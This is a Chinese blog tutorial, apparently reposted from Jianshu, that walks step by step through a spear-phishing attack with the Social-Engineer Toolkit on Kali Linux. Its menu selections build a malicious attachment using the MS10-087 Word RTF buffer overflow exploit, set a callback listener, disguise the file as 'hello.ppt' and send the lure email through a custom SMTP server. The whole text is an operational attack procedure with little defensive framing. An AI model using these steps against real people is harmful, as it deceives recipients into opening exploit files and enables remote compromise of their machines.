社会工程实战-鱼叉式钓鱼攻击
[不一定能成功，因为邮件服务器会检测携带附件]
0x00 鱼叉式钓鱼攻击
攻击者通过发送带有攻击性的邮件给受害者，一旦受害者打开攻击邮件，点开攻击邮件中的附件等，就会给受害者的电脑造成一定的影响。
0x01 钓鱼攻击步骤
【Step1】
root@kali:~# setoolkit 启动SET终端
kali linux启动SET终端，出现下图。
【Step2】
set>1 选择1，社会工程学攻击
【Step3】
set>1 选择1，鱼叉式钓鱼攻击
从上图中可以看出，鱼叉式钓鱼攻击有3种：
- 群发邮件；
- 创建1个文件的附件；
- 创建1个社会工程学模板。
【Step4】
set:phishing>2 选择2，即创建1个文件的附件
上图中有20多种通过附件形式进行攻击的方式，利用操作系统和软件的漏洞进行攻击，也就是说在特定的版本或系统上才出现，因此要注意被测试的系统和软件版本。
【Step5】
set:payload>6 选择6， 6) Microsoft Word RTF pFragments Stack Buffer Overflow (MS10-087)。payload选择为MS10-087
【Step6】
set:payload>4 选择4，并输入本地监听地址10.121.10.170
【Step7】
set:phishing>2 选择2，重命名文件为hello.ppt
【Step8】
set:phishing>1 选择“1”，发送单份邮件
然后set:phishing>2 选择“2”，使用邮件发送模板
先输入email邮件主题，然后选择是以页面形式发送还是文本形式发送，此处选择p，即文本形式发送。然后输入一些邮件内容，输入完毕后按“Ctrl+C”。最后输入发送邮件的邮箱地址。如下图所示。
【Step9】
set:phishing>2 选择“2”，use your own server or open relay，使用自定义邮箱服务器
输入发送邮件的邮箱地址：[email protected]
输入发送邮件的邮箱可见名：nijunwei
输入发送邮件的邮箱名：[email protected]
输入发送邮件的邮箱密码：-------
输入发送邮箱的SMTP服务器地址：192.168.2.254
输入SMTP服务器的端口：25
是否设定邮件为高优先级：yes
是否设置监听：yes
作者：NJW_QQ
链接：https://www.jianshu.com/p/7d8e1977c5f1
来源：简书
简书著作权归作者所有，任何形式的转载都请联系作者获得授权并注明出处。